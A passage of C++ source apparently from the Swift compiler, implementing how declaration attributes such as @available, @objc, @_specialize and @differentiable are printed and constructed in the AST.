void DeclAttributes::print(ASTPrinter &Printer, const PrintOptions &Options,
ArrayRef<const DeclAttribute *> FlattenedAttrs,
const Decl *D) {
using AttributeVector = SmallVector<const DeclAttribute *, 8>;
// Process attributes in passes.
AttributeVector shortAvailableAttributes;
const DeclAttribute *swiftVersionAvailableAttribute = nullptr;
const DeclAttribute *packageDescriptionVersionAvailableAttribute = nullptr;
AttributeVector longAttributes;
AttributeVector attributes;
AttributeVector modifiers;
CustomAttr *FuncBuilderAttr = nullptr;
if (auto *VD = dyn_cast_or_null<ValueDecl>(D)) {
FuncBuilderAttr = VD->getAttachedFunctionBuilder();
}
for (auto DA : llvm::reverse(FlattenedAttrs)) {
// Always print function builder attribute.
bool isFunctionBuilderAttr = DA == FuncBuilderAttr;
if (!Options.PrintImplicitAttrs && DA->isImplicit())
continue;
if (!Options.PrintUserInaccessibleAttrs &&
!isFunctionBuilderAttr &&
DeclAttribute::isUserInaccessible(DA->getKind()))
continue;
if (Options.excludeAttrKind(DA->getKind()))
continue;
// Be careful not to coalesce `@available(swift 5)` with other short
// `available' attributes.
if (auto *availableAttr = dyn_cast<AvailableAttr>(DA)) {
if (availableAttr->isLanguageVersionSpecific() &&
isShortAvailable(availableAttr)) {
swiftVersionAvailableAttribute = availableAttr;
continue;
}
if (availableAttr->isPackageDescriptionVersionSpecific() &&
isShortAvailable(availableAttr)) {
packageDescriptionVersionAvailableAttribute = availableAttr;
continue;
}
}
AttributeVector &which = DA->isDeclModifier() ? modifiers :
isShortAvailable(DA) ? shortAvailableAttributes :
DA->isLongAttribute() ? longAttributes :
attributes;
which.push_back(DA);
}
if (swiftVersionAvailableAttribute)
printShortFormAvailable(swiftVersionAvailableAttribute, Printer, Options);
if (packageDescriptionVersionAvailableAttribute)
printShortFormAvailable(packageDescriptionVersionAvailableAttribute, Printer, Options);
if (!shortAvailableAttributes.empty())
printShortFormAvailable(shortAvailableAttributes, Printer, Options);
for (auto DA : longAttributes)
DA->print(Printer, Options, D);
for (auto DA : attributes)
DA->print(Printer, Options, D);
for (auto DA : modifiers)
DA->print(Printer, Options, D);
}
SourceLoc DeclAttributes::getStartLoc(bool forModifiers) const {
if (isEmpty())
return SourceLoc();
const DeclAttribute *lastAttr = nullptr;
for (auto attr : *this) {
if (attr->getRangeWithAt().Start.isValid() &&
(!forModifiers || attr->isDeclModifier()))
lastAttr = attr;
}
return lastAttr ? lastAttr->getRangeWithAt().Start : SourceLoc();
}
bool DeclAttribute::printImpl(ASTPrinter &Printer, const PrintOptions &Options,
const Decl *D) const {
// Handle any attributes that are not printed at all before we make printer
// callbacks.
switch (getKind()) {
case DAK_ObjC:
if (Options.PrintForSIL && isImplicit())
return false;
break;
case DAK_RawDocComment:
case DAK_ObjCBridged:
case DAK_SynthesizedProtocol:
case DAK_Rethrows:
case DAK_Infix:
return false;
default:
break;
}
// Handle any decl-modifiers.
// FIXME: Ideally we would handle decl modifiers as a special kind of
// attribute, but for now it's simpler to treat them as a keyword in the
// printer.
switch (getKind()) {
// Handle all of the SIMPLE_DECL_ATTRs.
#define SIMPLE_DECL_ATTR(X, CLASS, ...) case DAK_##CLASS:
#include "swift/AST/Attr.def"
case DAK_Inline:
case DAK_AccessControl:
case DAK_ReferenceOwnership:
case DAK_Effects:
case DAK_Optimize:
if (DeclAttribute::isDeclModifier(getKind())) {
Printer.printKeyword(getAttrName(), Options);
} else {
Printer.printSimpleAttr(getAttrName(), /*needAt=*/true);
}
return true;
case DAK_SetterAccess:
Printer.printKeyword(getAttrName(), Options, "(set)");
return true;
default:
break;
}
Printer.callPrintStructurePre(PrintStructureKind::BuiltinAttribute);
SWIFT_DEFER {
Printer.printStructurePost(PrintStructureKind::BuiltinAttribute);
};
switch (getKind()) {
case DAK_Semantics:
Printer.printAttrName("@_semantics");
Printer << "(\"" << cast<SemanticsAttr>(this)->Value << "\")";
break;
case DAK_Alignment:
Printer.printAttrName("@_alignment");
Printer << "(" << cast<AlignmentAttr>(this)->getValue() << ")";
break;
case DAK_SILGenName:
Printer.printAttrName("@_silgen_name");
Printer << "(\"" << cast<SILGenNameAttr>(this)->Name << "\")";
break;
case DAK_OriginallyDefinedIn: {
Printer.printAttrName("@_originallyDefinedIn");
Printer << "(module: ";
auto Attr = cast<OriginallyDefinedInAttr>(this);
Printer << "\"" << Attr->OriginalModuleName << "\", ";
Printer << platformString(Attr->Platform) << " " <<
Attr->MovedVersion.getAsString();
Printer << ")";
break;
}
case DAK_Available: {
Printer.printAttrName("@available");
Printer << "(";
auto Attr = cast<AvailableAttr>(this);
if (Attr->isLanguageVersionSpecific())
Printer << "swift";
else if (Attr->isPackageDescriptionVersionSpecific())
Printer << "_PackageDescription";
else
Printer << Attr->platformString();
if (Attr->isUnconditionallyUnavailable())
Printer << ", unavailable";
else if (Attr->isUnconditionallyDeprecated())
Printer << ", deprecated";
if (Attr->Introduced)
Printer << ", introduced: " << Attr->Introduced.getValue().getAsString();
if (Attr->Deprecated)
Printer << ", deprecated: " << Attr->Deprecated.getValue().getAsString();
if (Attr->Obsoleted)
Printer << ", obsoleted: " << Attr->Obsoleted.getValue().getAsString();
if (!Attr->Rename.empty())
Printer << ", renamed: \"" << Attr->Rename << "\"";
// If there's no message, but this is specifically an imported
// "unavailable in Swift" attribute, synthesize a message to look good in
// the generated interface.
if (!Attr->Message.empty()) {
Printer << ", message: ";
Printer.printEscapedStringLiteral(Attr->Message);
}
else if (Attr->getPlatformAgnosticAvailability()
== PlatformAgnosticAvailabilityKind::UnavailableInSwift)
Printer << ", message: \"Not available in Swift\"";
Printer << ")";
break;
}
case DAK_CDecl:
Printer << "@_cdecl(\"" << cast<CDeclAttr>(this)->Name << "\")";
break;
case DAK_ObjC: {
Printer.printAttrName("@objc");
llvm::SmallString<32> scratch;
if (auto Name = cast<ObjCAttr>(this)->getName()) {
if (!cast<ObjCAttr>(this)->isNameImplicit())
Printer << "(" << Name->getString(scratch) << ")";
}
break;
}
case DAK_PrivateImport: {
Printer.printAttrName("@_private(sourceFile: \"");
Printer << cast<PrivateImportAttr>(this)->getSourceFile() << "\")";
break;
}
case DAK_SwiftNativeObjCRuntimeBase: {
auto *attr = cast<SwiftNativeObjCRuntimeBaseAttr>(this);
Printer.printAttrName("@_swift_native_objc_runtime_base");
Printer << "(" << attr->BaseClassName.str() << ")";
break;
}
case DAK_Specialize: {
Printer << "@" << getAttrName() << "(";
auto *attr = cast<SpecializeAttr>(this);
auto exported = attr->isExported() ? "true" : "false";
auto kind = attr->isPartialSpecialization() ? "partial" : "full";
Printer << "exported: "<< exported << ", ";
Printer << "kind: " << kind << ", ";
SmallVector<Requirement, 4> requirementsScratch;
ArrayRef<Requirement> requirements;
if (auto sig = attr->getSpecializedSgnature())
requirements = sig->getRequirements();
std::function<Type(Type)> GetInterfaceType;
auto *FnDecl = dyn_cast_or_null<AbstractFunctionDecl>(D);
if (!FnDecl || !FnDecl->getGenericEnvironment())
GetInterfaceType = [](Type Ty) -> Type { return Ty; };
else {
// Use GenericEnvironment to produce user-friendly
// names instead of something like t_0_0.
auto *GenericEnv = FnDecl->getGenericEnvironment();
assert(GenericEnv);
GetInterfaceType = [=](Type Ty) -> Type {
return GenericEnv->getSugaredType(Ty);
};
if (auto sig = attr->getSpecializedSgnature()) {
requirementsScratch = sig->requirementsNotSatisfiedBy(
GenericEnv->getGenericSignature());
requirements = requirementsScratch;
}
}
if (!requirements.empty()) {
Printer << "where ";
}
interleave(requirements,
[&](Requirement req) {
auto FirstTy = GetInterfaceType(req.getFirstType());
if (req.getKind() != RequirementKind::Layout) {
auto SecondTy = GetInterfaceType(req.getSecondType());
Requirement ReqWithDecls(req.getKind(), FirstTy, SecondTy);
ReqWithDecls.print(Printer, Options);
} else {
Requirement ReqWithDecls(req.getKind(), FirstTy,
req.getLayoutConstraint());
ReqWithDecls.print(Printer, Options);
}
},
[&] { Printer << ", "; });
Printer << ")";
break;
}
case DAK_Implements: {
Printer.printAttrName("@_implements");
Printer << "(";
auto *attr = cast<ImplementsAttr>(this);
attr->getProtocolType().getType().print(Printer, Options);
Printer << ", " << attr->getMemberName() << ")";
break;
}
case DAK_ObjCRuntimeName: {
Printer.printAttrName("@_objcRuntimeName");
Printer << "(";
auto *attr = cast<ObjCRuntimeNameAttr>(this);
Printer << attr->Name;
Printer << ")";
break;
}
case DAK_ClangImporterSynthesizedType: {
Printer.printAttrName("@_clangImporterSynthesizedType");
auto *attr = cast<ClangImporterSynthesizedTypeAttr>(this);
Printer << "(originalTypeName: \"" << attr->originalTypeName
<< "\", manglingForKind: \"" << attr->getManglingName() << "\")";
break;
}
case DAK_DynamicReplacement: {
Printer.printAttrName("@_dynamicReplacement");
Printer << "(for: \"";
auto *attr = cast<DynamicReplacementAttr>(this);
Printer << attr->getReplacedFunctionName() << "\")";
break;
}
case DAK_Custom: {
Printer.printAttrName("@");
const TypeLoc &typeLoc = cast<CustomAttr>(this)->getTypeLoc();
if (auto type = typeLoc.getType())
type->print(Printer, Options);
else
typeLoc.getTypeRepr()->print(Printer, Options);
break;
}
case DAK_ProjectedValueProperty:
Printer.printAttrName("@_projectedValueProperty");
Printer << "(";
Printer << cast<ProjectedValuePropertyAttr>(this)->ProjectionPropertyName;
Printer << ")";
break;
case DAK_Differentiable: {
Printer.printAttrName("@differentiable");
auto *attr = cast<DifferentiableAttr>(this);
printDifferentiableAttrArguments(attr, Printer, Options, D);
break;
}
case DAK_Derivative: {
Printer.printAttrName("@derivative");
Printer << "(of: ";
auto *attr = cast<DerivativeAttr>(this);
Printer << attr->getOriginalFunctionName().Name;
auto *derivative = cast<AbstractFunctionDecl>(D);
auto diffParamsString = getDifferentiationParametersClauseString(
derivative, attr->getParameterIndices(), attr->getParsedParameters(),
DifferentiationParameterKind::Differentiability);
if (!diffParamsString.empty())
Printer << ", " << diffParamsString;
Printer << ')';
break;
}
case DAK_Transpose: {
Printer.printAttrName("@transpose");
Printer << "(of: ";
auto *attr = cast<TransposeAttr>(this);
Printer << attr->getOriginalFunctionName().Name;
auto *transpose = cast<AbstractFunctionDecl>(D);
auto transParamsString = getDifferentiationParametersClauseString(
transpose, attr->getParameterIndices(), attr->getParsedParameters(),
DifferentiationParameterKind::Linearity);
if (!transParamsString.empty())
Printer << ", " << transParamsString;
Printer << ')';
break;
}
case DAK_Count:
llvm_unreachable("exceed declaration attribute kinds");
#define SIMPLE_DECL_ATTR(X, CLASS, ...) case DAK_##CLASS:
#include "swift/AST/Attr.def"
llvm_unreachable("handled above");
default:
assert(DeclAttribute::isDeclModifier(getKind()) &&
"handled above");
}
return true;
}
void DeclAttribute::print(ASTPrinter &Printer, const PrintOptions &Options,
const Decl *D) const {
if (!printImpl(Printer, Options, D))
return; // Nothing printed.
if (isLongAttribute() && Options.PrintLongAttrsOnSeparateLines)
Printer.printNewline();
else
Printer << " ";
}
void DeclAttribute::print(llvm::raw_ostream &OS, const Decl *D) const {
StreamPrinter P(OS);
print(P, PrintOptions(), D);
}
uint64_t DeclAttribute::getOptions(DeclAttrKind DK) {
switch (DK) {
case DAK_Count:
llvm_unreachable("getOptions needs a valid attribute");
#define DECL_ATTR(_, CLASS, OPTIONS, ...)\
case DAK_##CLASS: return OPTIONS;
#include "swift/AST/Attr.def"
}
llvm_unreachable("bad DeclAttrKind");
}
StringRef DeclAttribute::getAttrName() const {
switch (getKind()) {
case DAK_Count:
llvm_unreachable("getAttrName needs a valid attribute");
#define SIMPLE_DECL_ATTR(NAME, CLASS, ...) \
case DAK_##CLASS: \
return #NAME;
#include "swift/AST/Attr.def"
case DAK_SILGenName:
return "_silgen_name";
case DAK_Alignment:
return "_alignment";
case DAK_CDecl:
return "_cdecl";
case DAK_SwiftNativeObjCRuntimeBase:
return "_swift_native_objc_runtime_base";
case DAK_Semantics:
return "_semantics";
case DAK_Available:
return "availability";
case DAK_ObjC:
case DAK_ObjCRuntimeName:
return "objc";
case DAK_DynamicReplacement:
return "_dynamicReplacement";
case DAK_PrivateImport:
return "_private";
case DAK_RestatedObjCConformance:
return "_restatedObjCConformance";
case DAK_Inline: {
switch (cast<InlineAttr>(this)->getKind()) {
case InlineKind::Never:
return "inline(never)";
case InlineKind::Always:
return "inline(__always)";
}
llvm_unreachable("Invalid inline kind");
}
case DAK_Optimize: {
switch (cast<OptimizeAttr>(this)->getMode()) {
case OptimizationMode::NoOptimization:
return "_optimize(none)";
case OptimizationMode::ForSpeed:
return "_optimize(speed)";
case OptimizationMode::ForSize:
return "_optimize(size)";
default:
llvm_unreachable("Invalid optimization kind");
}
}
case DAK_Effects:
switch (cast<EffectsAttr>(this)->getKind()) {
case EffectsKind::ReadNone:
return "_effects(readnone)";
case EffectsKind::ReadOnly:
return "_effects(readonly)";
case EffectsKind::ReleaseNone:
return "_effects(releasenone)";
case EffectsKind::ReadWrite:
return "_effects(readwrite)";
case EffectsKind::Unspecified:
return "_effects(unspecified)";
}
case DAK_AccessControl:
case DAK_SetterAccess: {
AccessLevel access = cast<AbstractAccessControlAttr>(this)->getAccess();
return getAccessLevelSpelling(access);
}
case DAK_ReferenceOwnership:
return keywordOf(cast<ReferenceOwnershipAttr>(this)->get());
case DAK_RawDocComment:
return "<<raw doc comment>>";
case DAK_ObjCBridged:
return "<<ObjC bridged>>";
case DAK_SynthesizedProtocol:
return "<<synthesized protocol>>";
case DAK_Specialize:
return "_specialize";
case DAK_Implements:
return "_implements";
case DAK_ClangImporterSynthesizedType:
return "_clangImporterSynthesizedType";
case DAK_Custom:
return "<<custom>>";
case DAK_ProjectedValueProperty:
return "_projectedValueProperty";
case DAK_OriginallyDefinedIn:
return "_originallyDefinedIn";
case DAK_Differentiable:
return "differentiable";
case DAK_Derivative:
return "derivative";
case DAK_Transpose:
return "transpose";
}
llvm_unreachable("bad DeclAttrKind");
}
ObjCAttr::ObjCAttr(SourceLoc atLoc, SourceRange baseRange,
Optional<ObjCSelector> name, SourceRange parenRange,
ArrayRef<SourceLoc> nameLocs)
: DeclAttribute(DAK_ObjC, atLoc, baseRange, /*Implicit=*/false),
NameData(nullptr)
{
if (name) {
// Store the name.
assert(name->getNumSelectorPieces() == nameLocs.size());
NameData = name->getOpaqueValue();
// Store location information.
Bits.ObjCAttr.HasTrailingLocationInfo = true;
getTrailingLocations()[0] = parenRange.Start;
getTrailingLocations()[1] = parenRange.End;
std::memcpy(getTrailingLocations().slice(2).data(), nameLocs.data(),
nameLocs.size() * sizeof(SourceLoc));
} else {
Bits.ObjCAttr.HasTrailingLocationInfo = false;
}
Bits.ObjCAttr.ImplicitName = false;
Bits.ObjCAttr.Swift3Inferred = false;
}
ObjCAttr *ObjCAttr::create(ASTContext &Ctx, Optional<ObjCSelector> name,
bool isNameImplicit) {
return new (Ctx) ObjCAttr(name, isNameImplicit);
}
ObjCAttr *ObjCAttr::createUnnamed(ASTContext &Ctx, SourceLoc AtLoc,
SourceLoc ObjCLoc) {
return new (Ctx) ObjCAttr(AtLoc, SourceRange(ObjCLoc), None,
SourceRange(), { });
}
ObjCAttr *ObjCAttr::createUnnamedImplicit(ASTContext &Ctx) {
return new (Ctx) ObjCAttr(None, false);
}
ObjCAttr *ObjCAttr::createNullary(ASTContext &Ctx, SourceLoc AtLoc,
SourceLoc ObjCLoc, SourceLoc LParenLoc,
SourceLoc NameLoc, Identifier Name,
SourceLoc RParenLoc) {
void *mem = Ctx.Allocate(totalSizeToAlloc<SourceLoc>(3), alignof(ObjCAttr));
return new (mem) ObjCAttr(AtLoc, SourceRange(ObjCLoc, RParenLoc),
ObjCSelector(Ctx, 0, Name),
SourceRange(LParenLoc, RParenLoc),
NameLoc);
}
ObjCAttr *ObjCAttr::createNullary(ASTContext &Ctx, Identifier Name,
bool isNameImplicit) {
return new (Ctx) ObjCAttr(ObjCSelector(Ctx, 0, Name), isNameImplicit);
}
ObjCAttr *ObjCAttr::createSelector(ASTContext &Ctx, SourceLoc AtLoc,
SourceLoc ObjCLoc, SourceLoc LParenLoc,
ArrayRef<SourceLoc> NameLocs,
ArrayRef<Identifier> Names,
SourceLoc RParenLoc) {
assert(NameLocs.size() == Names.size());
void *mem = Ctx.Allocate(totalSizeToAlloc<SourceLoc>(NameLocs.size() + 2),
alignof(ObjCAttr));
return new (mem) ObjCAttr(AtLoc, SourceRange(ObjCLoc, RParenLoc),
ObjCSelector(Ctx, Names.size(), Names),
SourceRange(LParenLoc, RParenLoc),
NameLocs);
}
ObjCAttr *ObjCAttr::createSelector(ASTContext &Ctx,
ArrayRef<Identifier> Names,
bool isNameImplicit) {
return new (Ctx) ObjCAttr(ObjCSelector(Ctx, Names.size(), Names),
isNameImplicit);
}
ArrayRef<SourceLoc> ObjCAttr::getNameLocs() const {
if (!hasTrailingLocationInfo())
return { };
return getTrailingLocations().slice(2);
}
SourceLoc ObjCAttr::getLParenLoc() const {
if (!hasTrailingLocationInfo())
return SourceLoc();
return getTrailingLocations()[0];
}
SourceLoc ObjCAttr::getRParenLoc() const {
if (!hasTrailingLocationInfo())
return SourceLoc();
return getTrailingLocations()[1];
}
ObjCAttr *ObjCAttr::clone(ASTContext &context) const {
auto attr = new (context) ObjCAttr(getName(), isNameImplicit());
attr->setSwift3Inferred(isSwift3Inferred());
return attr;
}
PrivateImportAttr::PrivateImportAttr(SourceLoc atLoc, SourceRange baseRange,
StringRef sourceFile,
SourceRange parenRange)
: DeclAttribute(DAK_PrivateImport, atLoc, baseRange, /*Implicit=*/false),
SourceFile(sourceFile) {}
PrivateImportAttr *PrivateImportAttr::create(ASTContext &Ctxt, SourceLoc AtLoc,
SourceLoc PrivateLoc,
SourceLoc LParenLoc,
StringRef sourceFile,
SourceLoc RParenLoc) {
return new (Ctxt)
PrivateImportAttr(AtLoc, SourceRange(PrivateLoc, RParenLoc), sourceFile,
SourceRange(LParenLoc, RParenLoc));
}
DynamicReplacementAttr::DynamicReplacementAttr(SourceLoc atLoc,
SourceRange baseRange,
DeclNameRef name,
SourceRange parenRange)
: DeclAttribute(DAK_DynamicReplacement, atLoc, baseRange,
/*Implicit=*/false),
ReplacedFunctionName(name) {
Bits.DynamicReplacementAttr.HasTrailingLocationInfo = true;
getTrailingLocations()[0] = parenRange.Start;
getTrailingLocations()[1] = parenRange.End;
}
DynamicReplacementAttr *
DynamicReplacementAttr::create(ASTContext &Ctx, SourceLoc AtLoc,
SourceLoc DynReplLoc, SourceLoc LParenLoc,
DeclNameRef ReplacedFunction, SourceLoc RParenLoc) {
void *mem = Ctx.Allocate(totalSizeToAlloc<SourceLoc>(2),
alignof(DynamicReplacementAttr));
return new (mem) DynamicReplacementAttr(
AtLoc, SourceRange(DynReplLoc, RParenLoc), ReplacedFunction,
SourceRange(LParenLoc, RParenLoc));
}
DynamicReplacementAttr *
DynamicReplacementAttr::create(ASTContext &Ctx, DeclNameRef name,
AbstractFunctionDecl *f) {
return new (Ctx) DynamicReplacementAttr(name, f);
}
DynamicReplacementAttr *
DynamicReplacementAttr::create(ASTContext &Ctx, DeclNameRef name,
LazyMemberLoader *Resolver, uint64_t Data) {
return new (Ctx) DynamicReplacementAttr(name, Resolver, Data);
}
SourceLoc DynamicReplacementAttr::getLParenLoc() const {
return getTrailingLocations()[0];
}
SourceLoc DynamicReplacementAttr::getRParenLoc() const {
return getTrailingLocations()[1];
}
AvailableAttr *
AvailableAttr::createPlatformAgnostic(ASTContext &C,
StringRef Message,
StringRef Rename,
PlatformAgnosticAvailabilityKind Kind,
llvm::VersionTuple Obsoleted) {
assert(Kind != PlatformAgnosticAvailabilityKind::None);
llvm::VersionTuple NoVersion;
if (Kind == PlatformAgnosticAvailabilityKind::SwiftVersionSpecific) {
assert(!Obsoleted.empty());
}
return new (C) AvailableAttr(
SourceLoc(), SourceRange(), PlatformKind::none, Message, Rename,
NoVersion, SourceRange(),
NoVersion, SourceRange(),
Obsoleted, SourceRange(),
Kind, /* isImplicit */ false);
}
bool AvailableAttr::isActivePlatform(const ASTContext &ctx) const {
return isPlatformActive(Platform, ctx.LangOpts);
}
bool OriginallyDefinedInAttr::isActivePlatform(const ASTContext &ctx) const {
return isPlatformActive(Platform, ctx.LangOpts);
}
bool AvailableAttr::isLanguageVersionSpecific() const {
if (PlatformAgnostic ==
PlatformAgnosticAvailabilityKind::SwiftVersionSpecific)
{
assert(Platform == PlatformKind::none &&
(Introduced.hasValue() ||
Deprecated.hasValue() ||
Obsoleted.hasValue()));
return true;
}
return false;
}
bool AvailableAttr::isPackageDescriptionVersionSpecific() const {
if (PlatformAgnostic ==
PlatformAgnosticAvailabilityKind::PackageDescriptionVersionSpecific)
{
assert(Platform == PlatformKind::none &&
(Introduced.hasValue() ||
Deprecated.hasValue() ||
Obsoleted.hasValue()));
return true;
}
return false;
}
bool AvailableAttr::isUnconditionallyUnavailable() const {
switch (PlatformAgnostic) {
case PlatformAgnosticAvailabilityKind::None:
case PlatformAgnosticAvailabilityKind::Deprecated:
case PlatformAgnosticAvailabilityKind::SwiftVersionSpecific:
case PlatformAgnosticAvailabilityKind::PackageDescriptionVersionSpecific:
return false;
case PlatformAgnosticAvailabilityKind::Unavailable:
case PlatformAgnosticAvailabilityKind::UnavailableInSwift:
return true;
}
llvm_unreachable("Unhandled PlatformAgnosticAvailabilityKind in switch.");
}
bool AvailableAttr::isUnconditionallyDeprecated() const {
switch (PlatformAgnostic) {
case PlatformAgnosticAvailabilityKind::None:
case PlatformAgnosticAvailabilityKind::Unavailable:
case PlatformAgnosticAvailabilityKind::UnavailableInSwift:
case PlatformAgnosticAvailabilityKind::SwiftVersionSpecific:
case PlatformAgnosticAvailabilityKind::PackageDescriptionVersionSpecific:
return false;
case PlatformAgnosticAvailabilityKind::Deprecated:
return true;
}
llvm_unreachable("Unhandled PlatformAgnosticAvailabilityKind in switch.");
}
llvm::VersionTuple AvailableAttr::getActiveVersion(const ASTContext &ctx) const {
if (isLanguageVersionSpecific()) {
return ctx.LangOpts.EffectiveLanguageVersion;
} else if (isPackageDescriptionVersionSpecific()) {
return ctx.LangOpts.PackageDescriptionVersion;
} else {
return ctx.LangOpts.getMinPlatformVersion();
}
}
AvailableVersionComparison AvailableAttr::getVersionAvailability(
const ASTContext &ctx) const {
// Unconditional unavailability.
if (isUnconditionallyUnavailable())
return AvailableVersionComparison::Unavailable;
llvm::VersionTuple queryVersion = getActiveVersion(ctx);
// If this entity was obsoleted before or at the query platform version,
// consider it obsolete.
if (Obsoleted && *Obsoleted <= queryVersion)
return AvailableVersionComparison::Obsoleted;
// If this entity was introduced after the query version and we're doing a
// platform comparison, true availability can only be determined dynamically;
// if we're doing a _language_ version check, the query version is a
// static requirement, so we treat "introduced later" as just plain
// unavailable.
if (Introduced && *Introduced > queryVersion) {
if (isLanguageVersionSpecific() || isPackageDescriptionVersionSpecific())
return AvailableVersionComparison::Unavailable;
else
return AvailableVersionComparison::PotentiallyUnavailable;
}
// The entity is available.
return AvailableVersionComparison::Available;
}
const AvailableAttr *AvailableAttr::isUnavailable(const Decl *D) {
ASTContext &ctx = D->getASTContext();
if (auto attr = D->getAttrs().getUnavailable(ctx))
return attr;
// If D is an extension member, check if the extension is unavailable.
//
// Skip decls imported from Clang, they could be associated to the wrong
// extension and inherit undesired unavailability. The ClangImporter
// associates Objective-C protocol members to the first category where the
// protocol is directly or indirectly adopted, no matter its availability
// and the availability of other categories. rdar://problem/53956555
if (!D->getClangNode())
if (auto ext = dyn_cast<ExtensionDecl>(D->getDeclContext()))
return AvailableAttr::isUnavailable(ext);
return nullptr;
}
SpecializeAttr::SpecializeAttr(SourceLoc atLoc, SourceRange range,
TrailingWhereClause *clause,
bool exported,
SpecializationKind kind,
GenericSignature specializedSignature)
: DeclAttribute(DAK_Specialize, atLoc, range,
/*Implicit=*/clause == nullptr),
trailingWhereClause(clause),
specializedSignature(specializedSignature) {
Bits.SpecializeAttr.exported = exported;
Bits.SpecializeAttr.kind = unsigned(kind);
}
TrailingWhereClause *SpecializeAttr::getTrailingWhereClause() const {
return trailingWhereClause;
}
SpecializeAttr *SpecializeAttr::create(ASTContext &Ctx, SourceLoc atLoc,
SourceRange range,
TrailingWhereClause *clause,
bool exported,
SpecializationKind kind,
GenericSignature specializedSignature) {
return new (Ctx) SpecializeAttr(atLoc, range, clause, exported, kind,
specializedSignature);
}
DifferentiableAttr::DifferentiableAttr(bool implicit, SourceLoc atLoc,
SourceRange baseRange, bool linear,
ArrayRef<ParsedAutoDiffParameter> params,
Optional<DeclNameRefWithLoc> jvp,
Optional<DeclNameRefWithLoc> vjp,
TrailingWhereClause *clause)
: DeclAttribute(DAK_Differentiable, atLoc, baseRange, implicit),
Linear(linear), NumParsedParameters(params.size()), JVP(std::move(jvp)),
VJP(std::move(vjp)), WhereClause(clause) {
std::copy(params.begin(), params.end(),
getTrailingObjects<ParsedAutoDiffParameter>());
}
DifferentiableAttr::DifferentiableAttr(Decl *original, bool implicit,
SourceLoc atLoc, SourceRange baseRange,
bool linear,
IndexSubset *parameterIndices,
Optional<DeclNameRefWithLoc> jvp,
Optional<DeclNameRefWithLoc> vjp,
GenericSignature derivativeGenSig)
: DeclAttribute(DAK_Differentiable, atLoc, baseRange, implicit),
OriginalDeclaration(original), Linear(linear), JVP(std::move(jvp)),
VJP(std::move(vjp)) {
setParameterIndices(parameterIndices);
setDerivativeGenericSignature(derivativeGenSig);
}
DifferentiableAttr *
DifferentiableAttr::create(ASTContext &context, bool implicit,
SourceLoc atLoc, SourceRange baseRange,
bool linear,
ArrayRef<ParsedAutoDiffParameter> parameters,
Optional<DeclNameRefWithLoc> jvp,
Optional<DeclNameRefWithLoc> vjp,
TrailingWhereClause *clause) {
unsigned size = totalSizeToAlloc<ParsedAutoDiffParameter>(parameters.size());
void *mem = context.Allocate(size, alignof(DifferentiableAttr));
return new (mem) DifferentiableAttr(implicit, atLoc, baseRange, linear,
parameters, std::move(jvp),
std::move(vjp), clause);
}
DifferentiableAttr *
DifferentiableAttr::create(AbstractFunctionDecl *original, bool implicit,
SourceLoc atLoc, SourceRange baseRange, bool linear,
IndexSubset *parameterIndices,
Optional<DeclNameRefWithLoc> jvp,
Optional<DeclNameRefWithLoc> vjp,
GenericSignature derivativeGenSig) {
auto &ctx = original->getASTContext();
void *mem = ctx.Allocate(sizeof(DifferentiableAttr),
alignof(DifferentiableAttr));
return new (mem) DifferentiableAttr(original, implicit, atLoc, baseRange,
linear, parameterIndices, std::move(jvp),
std::move(vjp), derivativeGenSig);
}
void DifferentiableAttr::setOriginalDeclaration(Decl *originalDeclaration) {
assert(originalDeclaration && "Original declaration must be non-null");
assert(!OriginalDeclaration &&
"Original declaration cannot have already been set");
OriginalDeclaration = originalDeclaration;
}
void DifferentiableAttr::setJVPFunction(FuncDecl *decl) {
JVPFunction = decl;
if (decl && !JVP)
JVP = {decl->createNameRef(), DeclNameLoc(decl->getNameLoc())};
}
void DifferentiableAttr::setVJPFunction(FuncDecl *decl) {
VJPFunction = decl;
if (decl && !VJP)
VJP = {decl->createNameRef(), DeclNameLoc(decl->getNameLoc())};
}
GenericEnvironment *DifferentiableAttr::getDerivativeGenericEnvironment(
AbstractFunctionDecl *original) const {
GenericEnvironment *derivativeGenEnv = original->getGenericEnvironment();
if (auto derivativeGenSig = getDerivativeGenericSignature())
return derivativeGenEnv = derivativeGenSig->getGenericEnvironment();
return original->getGenericEnvironment();
}
void DifferentiableAttr::print(llvm::raw_ostream &OS, const Decl *D,
bool omitWrtClause,
bool omitDerivativeFunctions) const {
StreamPrinter P(OS);
P << "@" << getAttrName();
printDifferentiableAttrArguments(this, P, PrintOptions(), D, omitWrtClause,
omitDerivativeFunctions);
}
DerivativeAttr::DerivativeAttr(bool implicit, SourceLoc atLoc,
SourceRange baseRange, TypeRepr *baseTypeRepr,
DeclNameRefWithLoc originalName,
ArrayRef<ParsedAutoDiffParameter> params)
: DeclAttribute(DAK_Derivative, atLoc, baseRange, implicit),
BaseTypeRepr(baseTypeRepr), OriginalFunctionName(std::move(originalName)),
NumParsedParameters(params.size()) {
std::copy(params.begin(), params.end(),
getTrailingObjects<ParsedAutoDiffParameter>());
}
DerivativeAttr::DerivativeAttr(bool implicit, SourceLoc atLoc,
SourceRange baseRange, TypeRepr *baseTypeRepr,
DeclNameRefWithLoc originalName,
IndexSubset *parameterIndices)
: DeclAttribute(DAK_Derivative, atLoc, baseRange, implicit),
BaseTypeRepr(baseTypeRepr), OriginalFunctionName(std::move(originalName)),
ParameterIndices(parameterIndices) {}
DerivativeAttr *
DerivativeAttr::create(ASTContext &context, bool implicit, SourceLoc atLoc,
SourceRange baseRange, TypeRepr *baseTypeRepr,
DeclNameRefWithLoc originalName,
ArrayRef<ParsedAutoDiffParameter> params) {
unsigned size = totalSizeToAlloc<ParsedAutoDiffParameter>(params.size());
void *mem = context.Allocate(size, alignof(DerivativeAttr));
return new (mem) DerivativeAttr(implicit, atLoc, baseRange, baseTypeRepr,
std::move(originalName), params);
}
DerivativeAttr *DerivativeAttr::create(ASTContext &context, bool implicit,
SourceLoc atLoc, SourceRange baseRange,
TypeRepr *baseTypeRepr,
DeclNameRefWithLoc originalName,
IndexSubset *parameterIndices) {
void *mem = context.Allocate(sizeof(DerivativeAttr), alignof(DerivativeAttr));
return new (mem) DerivativeAttr(implicit, atLoc, baseRange, baseTypeRepr,
std::move(originalName), parameterIndices);
}
TransposeAttr::TransposeAttr(bool implicit, SourceLoc atLoc,
SourceRange baseRange, TypeRepr *baseTypeRepr,
DeclNameRefWithLoc originalName,
ArrayRef<ParsedAutoDiffParameter> params)
: DeclAttribute(DAK_Transpose, atLoc, baseRange, implicit),
BaseTypeRepr(baseTypeRepr), OriginalFunctionName(std::move(originalName)),
NumParsedParameters(params.size()) {
std::uninitialized_copy(params.begin(), params.end(),
getTrailingObjects<ParsedAutoDiffParameter>());
}
